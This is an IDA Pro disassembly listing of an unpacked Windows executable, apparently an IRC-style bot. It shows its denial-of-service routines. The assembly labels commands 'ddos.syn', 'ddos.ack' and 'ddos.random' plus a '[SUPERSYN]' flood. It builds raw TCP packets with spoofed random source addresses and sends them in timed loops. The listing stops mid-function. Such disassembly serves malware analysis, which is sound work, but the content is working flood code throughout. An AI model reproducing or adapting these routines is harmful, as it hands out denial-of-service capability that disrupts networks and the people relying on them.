; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : 2C18C25AE71B27E4EEC5776FF68FA657 ; File Name : u:\work\2c18c25ae71b27e4eec5776ff68fa657_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 0008C000 ( 573440.) ; Section size in file : 0008C000 ( 573440.) ; Offset to raw data for section: 00001000 ; Flags C0000040: Data Readable Writable ; Alignment : default unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write ___ segment para public 'DATA' use32 assume cs:___ ;org 401000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; DATA XREF: sub_40EE72+3A17o var_494 = byte ptr -494h var_294 = dword ptr -294h var_290 = dword ptr -290h var_28C = byte ptr -28Ch var_20C = byte ptr -20Ch var_18C = byte ptr -18Ch var_10C = byte ptr -10Ch var_8C = byte ptr -8Ch var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 494h mov eax, [ebp+arg_0] push esi push edi mov ecx, 0A5h mov esi, eax lea edi, [ebp+var_294] rep movsd mov dword ptr [eax+290h], 1 call near ptr 25E08E4h nop push eax call sub_417302 lea eax, [ebp+var_18C] push eax lea eax, [ebp+var_8C] push eax lea eax, [ebp+var_20C] push eax lea eax, [ebp+var_28C] push eax call sub_4013EC add esp, 14h push eax lea eax, [ebp+var_494] push offset unk_426050 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401093 push esi lea eax, [ebp+var_494] push [ebp+var_C] push eax lea eax, [ebp+var_10C] push eax push [ebp+var_294] call sub_40D679 add esp, 14h loc_401093: ; CODE XREF: sub_401000+71j lea eax, [ebp+var_494] push eax call sub_40BF6D push [ebp+var_290] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh pop edi pop esi sub_401000 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4010B5 proc near ; CODE XREF: sub_4013EC+40p var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = word ptr -58h var_56 = word ptr -56h var_54 = dword ptr -54h var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = byte ptr -34h var_32 = word ptr -32h var_30 = word ptr -30h var_2E = word ptr -2Eh var_2C = byte ptr -2Ch var_2B = byte ptr -2Bh var_2A = word ptr -2Ah var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = word ptr -6 var_4 = word ptr -4 var_2 = word ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_4010F5 xor eax, eax jmp loc_4013E8 ; --------------------------------------------------------------------------- loc_4010F5: ; CODE XREF: sub_4010B5+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_20], eax jz loc_4013E0 push esi lea ecx, [ebp+var_40] push 4 push ecx push 2 push ebx push eax mov [ebp+var_40], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_4013D6 push [ebp+arg_C] mov [ebp+var_58], 2 call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_56], ax mov [ebp+var_54], esi mov [ebp+var_34], 45h call dword_43F668 push [ebp+arg_C] mov [ebp+var_32], ax mov [ebp+var_30], di mov [ebp+var_2E], bx mov [ebp+var_2C], 80h mov [ebp+var_2B], 6 mov [ebp+var_2A], bx mov [ebp+var_24], esi call dword_43F668 mov [ebp+var_12], ax call sub_41730C movzx eax, ax cdq mov ecx, 401h idiv ecx push edx call dword_43F668 push 12345678h mov [ebp+var_14], ax call dword_43F664 push offset aDdos_syn ; "ddos.syn" mov [ebp+var_10], eax push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011C5 mov [ebp+var_C], ebx mov [ebp+var_7], 2 jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011C5: ; CODE XREF: sub_4010B5+105j push offset aDdos_ack ; "ddos.ack" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_4011E1 mov [ebp+var_C], ebx mov [ebp+var_7], 10h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_4011E1: ; CODE XREF: sub_4010B5+121j push offset aDdos_random ; "ddos.random" push [ebp+arg_8] call sub_4176D0 pop ecx test eax, eax pop ecx jnz short loc_401219 call sub_41730C push 3 cdq pop ecx idiv ecx mov [ebp+var_C], edx call sub_41730C push 2 cdq pop ecx idiv ecx neg edx sbb dl, dl and dl, 0Eh add dl, cl mov [ebp+var_7], dl loc_401219: ; CODE XREF: sub_4010B5+10Ej ; sub_4010B5+12Aj ... push 4000h mov [ebp+var_8], 50h call dword_43F668 mov [ebp+var_6], ax lea eax, [ebp+var_48] push eax mov [ebp+var_2], bx mov [ebp+arg_8], ebx call near ptr 25F0000h nop lea eax, [ebp+var_1C] push eax nop call near ptr 25E0925h push [ebp+var_44] mov eax, [ebp+arg_10] cdq push [ebp+var_48] push edx push eax call sub_417760 add eax, [ebp+var_1C] push 14h pop esi adc edx, [ebp+var_18] mov [ebp+var_3C], eax mov [ebp+var_38], edx loc_401267: ; CODE XREF: sub_4010B5+2E2j ; sub_4010B5+2F0j mov [ebp+var_4], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_14], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_10], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 mov [ebp+var_28], eax mov eax, [ebp+var_24] push esi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_28] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_4], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_14] push esi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_2A], ax lea eax, [ebp+var_34] push esi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_58] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_20] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_4013AA add [ebp+arg_8], eax lea eax, [ebp+var_1C] push eax call near ptr 25E0925h nop mov eax, [ebp+var_18] cmp eax, [ebp+var_38] jg short loc_4013D3 jl loc_401267 mov eax, [ebp+var_1C] cmp eax, [ebp+var_3C] jnb short loc_4013D3 jmp loc_401267 ; --------------------------------------------------------------------------- loc_4013AA: ; CODE XREF: sub_4010B5+2CBj call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset unk_426088 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_4013D6 ; --------------------------------------------------------------------------- loc_4013D3: ; CODE XREF: sub_4010B5+2E0j ; sub_4010B5+2EEj mov ebx, [ebp+arg_8] loc_4013D6: ; CODE XREF: sub_4010B5+78j ; sub_4010B5+31Cj push [ebp+var_20] call dword_43F700 pop esi loc_4013E0: ; CODE XREF: sub_4010B5+5Bj call dword_43F5C8 mov eax, ebx loc_4013E8: ; CODE XREF: sub_4010B5+3Bj pop edi pop ebx leave retn sub_4010B5 endp ; =============== S U B R O U T I N E ======================================= sub_4013EC proc near ; CODE XREF: sub_401000+4Fp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_C] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx push [esp+20h+arg_8] lea eax, [edx+esi+100h] push eax push esi call sub_4010B5 add esp, 20h test eax, eax jnz short loc_40143B push 1 pop eax loc_40143B: ; CODE XREF: sub_4013EC+4Aj cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_4013EC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40144A proc near ; DATA XREF: sub_40EE72+3C05o var_3BC = byte ptr -3BCh var_1BC = dword ptr -1BCh var_1B8 = byte ptr -1B8h var_138 = byte ptr -138h var_B8 = byte ptr -0B8h var_38 = dword ptr -38h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = dword ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 3BCh push ebx push esi mov eax, [ebp+arg_0] push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_1BC] push 1 pop ebx push 0FFh push 3 rep movsd push 2 mov [eax+19Ch], ebx call dword_43F6E8 cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jnz short loc_4014E5 call dword_43F5FC push eax lea eax, [ebp+var_3BC] loc_401493: ; DATA XREF: ___:off_4282ACo push offset unk_426214 push eax call sub_4172B0 xor edi, edi add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_4014C8 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4014C8: ; CODE XREF: sub_40144A+5Cj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi call near ptr 25E02EAh nop loc_4014E5: ; CODE XREF: sub_40144A+3Aj lea ecx, [ebp+var_C] push 4 push ecx xor edi, edi push 2 push edi push eax mov [ebp+var_C], ebx call dword_43F648 cmp eax, 0FFFFFFFFh jnz short loc_40155C call dword_43F5FC push eax lea eax, [ebp+var_3BC] push offset unk_4261CC push eax call sub_4172B0 add esp, 0Ch cmp [ebp+var_24], edi jnz short loc_40153F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40153F: ; CODE XREF: sub_40144A+D3j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh loc_40155C: ; CODE XREF: sub_40144A+B3j lea eax, [ebp+var_1B8] push eax call dword_43F6A8 cmp eax, 0FFFFFFFFh jnz short loc_4015C3 lea eax, [ebp+var_3BC] push offset unk_42619C push eax call sub_4172B0 cmp [ebp+var_24], edi pop ecx pop ecx jnz short loc_4015A6 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_4015A6: ; CODE XREF: sub_40144A+13Aj lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh loc_4015C3: ; CODE XREF: sub_40144A+122j push 10h lea eax, [ebp+var_1C] push edi push eax call sub_417330 add esp, 0Ch mov [ebp+var_1C], 2 push edi call dword_43F668 mov [ebp+var_1A], ax lea eax, [ebp+var_1B8] push eax call dword_43F6A8 mov esi, dword_424058 mov [ebp+var_18], eax mov [ebp+arg_0], edi call esi mov [ebp+var_8], eax loc_401601: ; CODE XREF: sub_40144A+2E8j call esi sub eax, [ebp+var_8] xor edx, edx mov ecx, 3E8h div ecx cmp eax, [ebp+var_30] ja loc_4017AC push 41Ch mov byte_43C3E8, 45h call dword_43F668 cmp [ebp+var_2C], edi mov word_43C3EA, ax mov word_43C3EC, bx mov word_43C3EE, di mov byte_43C3F0, 80h mov byte_43C3F1, bl mov word_43C3F2, di jz short loc_401687 call sub_41730C mov ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax shl ebx, 8 call sub_41730C add ebx, eax push 1 mov dword_43C3F4, ebx pop ebx jmp short loc_40169F ; --------------------------------------------------------------------------- loc_401687: ; CODE XREF: sub_40144A+20Bj push [ebp+var_1BC] call sub_40AEE0 pop ecx push eax call dword_43F6A8 mov dword_43C3F4, eax loc_40169F: ; CODE XREF: sub_40144A+23Bj mov eax, [ebp+var_18] mov dword_43C3F8, eax call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FC, dl call sub_41730C cdq mov ecx, 100h idiv ecx mov byte_43C3FD, dl call sub_41730C cdq mov ecx, 0F0h push 400h idiv ecx mov word_43C3FE, di mov word_43C402, bx inc edx mov word_43C400, dx call sub_41730C cdq mov ecx, 0FFh idiv ecx push edx push offset dword_43C404 call sub_417330 add esp, 0Ch lea eax, [ebp+var_1C] push 10h push eax push edi push 41Ch push offset byte_43C3E8 push [ebp+var_4] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401737 inc [ebp+arg_0] jmp loc_401601 ; --------------------------------------------------------------------------- loc_401737: ; CODE XREF: sub_40144A+2E3j push [ebp+var_4] call dword_43F700 call dword_43F5FC push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax push offset unk_42613C lea eax, [ebp+var_3BC] push 200h push eax call sub_41782A add esp, 18h cmp [ebp+var_24], edi jnz short loc_40178F push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_40178F: ; CODE XREF: sub_40144A+323j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh loc_4017AC: ; CODE XREF: sub_40144A+1C8j push [ebp+var_4] call dword_43F700 mov eax, [ebp+arg_0] xor edx, edx imul eax, 3Ch mov ecx, eax shr eax, 0Ah div [ebp+var_30] shr ecx, 14h push ecx push eax lea eax, [ebp+var_1B8] push [ebp+arg_0] push eax lea eax, [ebp+var_138] push eax lea eax, [ebp+var_3BC] push offset unk_4260DC push eax call sub_4172B0 add esp, 1Ch cmp [ebp+var_24], edi jnz short loc_401814 push edi lea eax, [ebp+var_3BC] push [ebp+var_28] push eax lea eax, [ebp+var_B8] push eax push [ebp+var_1BC] call sub_40D679 add esp, 14h loc_401814: ; CODE XREF: sub_40144A+3A8j lea eax, [ebp+var_3BC] push eax call sub_40BF6D push [ebp+var_38] call sub_417078 pop ecx pop ecx push edi nop call near ptr 25E02EAh sub_40144A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401831 proc near ; DATA XREF: sub_40EE72+159Do var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401992 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset aSupersynDoneWi ; "[SUPERSYN]: Done with flood (%iKB/sec)" push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_4018B1 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_4018B1: ; CODE XREF: sub_401831+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh pop edi pop esi sub_401831 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4018D0 proc near ; CODE XREF: sub_401992+27p var_654 = byte ptr -654h var_14 = word ptr -14h var_12 = word ptr -12h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 654h push 10h lea eax, [ebp+var_14] push 0 push eax call sub_417330 add esp, 0Ch mov [ebp+var_14], 2 push [ebp+arg_4] call dword_43F668 mov [ebp+var_12], ax mov eax, [ebp+arg_0] mov [ebp+var_10], eax mov eax, [ebp+arg_8] test eax, eax mov [ebp+var_4], 1 jle short loc_40198E push ebx push esi push edi mov [ebp+arg_4], eax mov edi, 190h loc_40191B: ; CODE XREF: sub_4018D0+B9j lea esi, [ebp+var_654] mov ebx, edi loc_401923: ; CODE XREF: sub_4018D0+7Aj push 0 push 1 push 2 nop call near ptr 71AB3C22h cmp eax, 0FFFFFFFFh mov [esi], eax jz short loc_401946 lea ecx, [ebp+var_4] push ecx push 8004667Eh push eax call near ptr 71AB155Ah nop loc_401946: ; CODE XREF: sub_4018D0+64j add esi, 4 dec ebx jnz short loc_401923 lea esi, [ebp+var_654] mov ebx, edi loc_401954: ; CODE XREF: sub_4018D0+96j lea eax, [ebp+var_14] push 10h push eax push dword ptr [esi] call near ptr 71AB3E5Dh nop add esi, 4 dec ebx jnz short loc_401954 push 64h call near ptr 25F0439h nop lea esi, [ebp+var_654] mov ebx, edi loc_401978: ; CODE XREF: sub_4018D0+B4j push dword ptr [esi] nop call near ptr 71AB1A6Dh add esi, 4 dec ebx jnz short loc_401978 dec [ebp+arg_4] jnz short loc_40191B pop edi pop esi pop ebx loc_40198E: ; CODE XREF: sub_4018D0+3Ej xor eax, eax leave retn sub_4018D0 endp ; =============== S U B R O U T I N E ======================================= sub_401992 proc near ; CODE XREF: sub_401831+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov edi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov esi, eax push esi push ebx push edi call sub_4018D0 add esp, 18h test eax, eax jnz short loc_4019C8 push 1 pop eax loc_4019C8: ; CODE XREF: sub_401992+31j cdq mov ecx, 3E8h pop edi idiv ecx cdq idiv esi pop esi pop ebx retn sub_401992 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4019D7 proc near ; DATA XREF: sub_40EE72+3908o var_414 = byte ptr -414h var_214 = dword ptr -214h var_210 = byte ptr -210h var_190 = byte ptr -190h var_110 = byte ptr -110h var_90 = byte ptr -90h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 414h mov eax, [ebp+arg_0] push esi push edi mov ecx, 85h mov esi, eax lea edi, [ebp+var_214] rep movsd mov dword ptr [eax+210h], 1 lea eax, [ebp+var_110] push eax lea eax, [ebp+var_190] push eax lea eax, [ebp+var_210] push eax call sub_401D28 add esp, 0Ch push eax lea eax, [ebp+var_414] push offset dword_426280 push eax call sub_4172B0 xor esi, esi add esp, 0Ch cmp [ebp+var_8], esi jnz short loc_401A57 push esi lea eax, [ebp+var_414] push [ebp+var_C] push eax lea eax, [ebp+var_90] push eax push [ebp+var_214] call sub_40D679 add esp, 14h loc_401A57: ; CODE XREF: sub_4019D7+5Ej lea eax, [ebp+var_414] push eax call sub_40BF6D push [ebp+var_10] call sub_417078 pop ecx pop ecx push esi nop call near ptr 25E02EAh pop edi pop esi sub_4019D7 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401A76 proc near ; CODE XREF: sub_401D28+3Cp var_284 = byte ptr -284h var_F4 = byte ptr -0F4h var_B4 = byte ptr -0B4h var_B3 = byte ptr -0B3h var_A0 = byte ptr -0A0h var_94 = byte ptr -94h var_8C = byte ptr -8Ch var_78 = dword ptr -78h var_74 = dword ptr -74h var_70 = byte ptr -70h var_6F = byte ptr -6Fh var_6E = word ptr -6Eh var_58 = dword ptr -58h var_50 = word ptr -50h var_4E = word ptr -4Eh var_4C = dword ptr -4Ch var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = word ptr -34h var_32 = word ptr -32h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = byte ptr -28h var_27 = byte ptr -27h var_26 = word ptr -26h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = byte ptr -20h var_1E = word ptr -1Eh var_1C = word ptr -1Ch var_1A = word ptr -1Ah var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 284h push ebx push edi push 0Eh xor ebx, ebx pop ecx xor eax, eax lea edi, [ebp+var_B3] mov [ebp+var_B4], bl rep stosd stosw stosb lea eax, [ebp+var_284] push eax push 202h call dword_43F5E0 test eax, eax jz short loc_401AB6 xor eax, eax jmp loc_401D24 ; --------------------------------------------------------------------------- loc_401AB6: ; CODE XREF: sub_401A76+37j push 1 pop edi push edi push ebx push ebx push 0FFh push 3 push 2 call dword_43F70C cmp eax, 0FFFFFFFFh mov [ebp+var_C], eax jz loc_401D1C push esi lea ecx, [ebp+var_38] push 4 push ecx push 2 push ebx push eax mov [ebp+var_38], edi call dword_43F648 cmp eax, 0FFFFFFFFh jz loc_401D12 push 10h lea eax, [ebp+var_50] push ebx push eax call sub_417330 add esp, 0Ch mov [ebp+var_50], 2 push [ebp+arg_8] call dword_43F668 mov esi, [ebp+arg_0] push 28h mov [ebp+var_4E], ax mov [ebp+var_4C], esi mov [ebp+var_20], 45h call dword_43F668 push [ebp+arg_8] mov [ebp+var_1E], ax mov [ebp+var_1C], di mov [ebp+var_1A], bx mov [ebp+var_18], 80h mov [ebp+var_17], 6 mov [ebp+var_16], bx mov [ebp+var_10], esi call dword_43F668 push 4000h mov [ebp+var_32], ax mov [ebp+var_2C], ebx mov [ebp+var_28], 50h mov [ebp+var_27], 2 call dword_43F668 mov [ebp+var_26], ax lea eax, [ebp+var_40] push eax mov [ebp+var_22], bx mov [ebp+arg_8], ebx call near ptr 25F0000h nop lea eax, [ebp+var_8] push eax nop call near ptr 25E0925h push [ebp+var_3C] mov eax, [ebp+arg_C] cdq push [ebp+var_40] push edx push eax call sub_417760 add eax, [ebp+var_8] mov esi, edx adc esi, [ebp+var_4] mov [ebp+var_58], eax loc_401BA1: ; CODE XREF: sub_401A76+25Dj ; sub_401A76+26Bj mov [ebp+var_24], bx call sub_41730C cdq mov ecx, 3E9h idiv ecx add edx, 3E8h push edx call dword_43F668 mov [ebp+var_34], ax call sub_41730C mov edi, eax shl edi, 10h call sub_41730C or edi, eax push edi call dword_43F668 movzx eax, ax mov [ebp+var_30], eax mov eax, [ebp+arg_4] inc [ebp+arg_4] push eax call dword_43F664 push 14h mov [ebp+var_14], eax mov eax, [ebp+var_10] pop edi push edi mov [ebp+var_74], eax mov [ebp+var_70], bl mov [ebp+var_6F], 6 call dword_43F668 mov [ebp+var_6E], ax mov eax, [ebp+var_14] mov [ebp+var_78], eax lea eax, [ebp+var_78] push 20h push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_94] push eax call sub_417390 lea eax, [ebp+var_B4] push 34h push eax call sub_40AF39 mov [ebp+var_24], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 lea eax, [ebp+var_34] push edi push eax lea eax, [ebp+var_A0] push eax call sub_417390 push 4 lea eax, [ebp+var_8C] push ebx push eax call sub_417330 add esp, 44h lea eax, [ebp+var_B4] push 28h push eax call sub_40AF39 mov [ebp+var_16], ax lea eax, [ebp+var_20] push edi push eax lea eax, [ebp+var_B4] push eax call sub_417390 add esp, 14h lea eax, [ebp+var_50] push 10h push eax push ebx lea eax, [ebp+var_B4] push 28h push eax push [ebp+var_C] call dword_43F6CC cmp eax, 0FFFFFFFFh jz short loc_401CE6 add [ebp+arg_8], eax lea eax, [ebp+var_8] push eax nop call near ptr 25E0925h mov eax, [ebp+var_4] cmp eax, esi jg short loc_401D0F jl loc_401BA1 mov eax, [ebp+var_8] cmp eax, [ebp+var_58] jnb short loc_401D0F jmp loc_401BA1 ; --------------------------------------------------------------------------- loc_401CE6: ; CODE XREF: sub_401A76+247j call dword_43F5FC push eax lea eax, [ebp+var_F4] push offset dword_4262B8 push eax call sub_4172B0 lea eax, [ebp+var_F4] push eax call sub_40BF6D add esp, 10h jmp short loc_401D12 ; --------------------------------------------------------------------------- loc_401D0F: ; CODE XREF: sub_401A76+25Bj ; sub_401A76+269j mov ebx, [ebp+arg_8] loc_401D12: ; CODE XREF: sub_401A76+78j ; sub_401A76+297j push [ebp+var_C] call dword_43F700 pop esi loc_401D1C: ; CODE XREF: sub_401A76+5Bj call dword_43F5C8 mov eax, ebx loc_401D24: ; CODE XREF: sub_401A76+3Bj pop edi pop ebx leave retn sub_401A76 endp ; =============== S U B R O U T I N E ======================================= sub_401D28 proc near ; CODE XREF: sub_4019D7+3Cp arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push ebx push esi push edi push [esp+0Ch+arg_0] call sub_40ADCA push [esp+10h+arg_4] mov esi, eax call sub_41781F push [esp+14h+arg_8] mov ebx, eax call sub_41781F mov edi, eax call sub_41730C cdq mov ecx, 200h push edi idiv ecx push ebx lea eax, [edx+esi+100h] push eax push esi call sub_401A76 add esp, 1Ch test eax, eax jnz short loc_401D73 push 1 pop eax loc_401D73: ; CODE XREF: sub_401D28+46j cdq mov ecx, 3E8h idiv ecx cdq idiv edi pop edi pop esi pop ebx retn sub_401D28 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401D82 proc near ; DATA XREF: sub_40EE72+2D38o var_440 = byte ptr -440h var_240 = dword ptr -240h var_23C = byte ptr -23Ch var_1BC = byte ptr -1BCh var_13C = byte ptr -13Ch var_BC = dword ptr -0BCh var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_B0 = dword ptr -0B0h var_AC = dword ptr -0ACh var_A8 = dword ptr -0A8h var_A0 = byte ptr -0A0h var_9F = byte ptr -9Fh var_8C = byte ptr -8Ch var_80 = byte ptr -80h var_78 = byte ptr -78h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_5B = byte ptr -5Bh var_5A = word ptr -5Ah var_44 = word ptr -44h var_42 = word ptr -42h var_40 = dword ptr -40h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = byte ptr -2Ch var_2A = word ptr -2Ah var_28 = word ptr -28h var_26 = word ptr -26h var_24 = byte ptr -24h var_23 = byte ptr -23h var_22 = word ptr -22h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = byte ptr -0Ch var_B = byte ptr -0Bh var_A = word ptr -0Ah var_8 = word ptr -8 var_6 = word ptr -6 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 440h mov eax, [ebp+arg_0] push ebx push esi push edi push 68h mov esi, eax pop ecx lea edi, [ebp+var_240] rep movsd push 1 xor ebx, ebx pop esi lea edi, [ebp+var_9F] push 0Eh mov [eax+19Ch], esi pop ecx xor eax, eax mov [ebp+var_A0], bl rep stosd stosw stosb mov edi, dword_424058 call edi push eax call 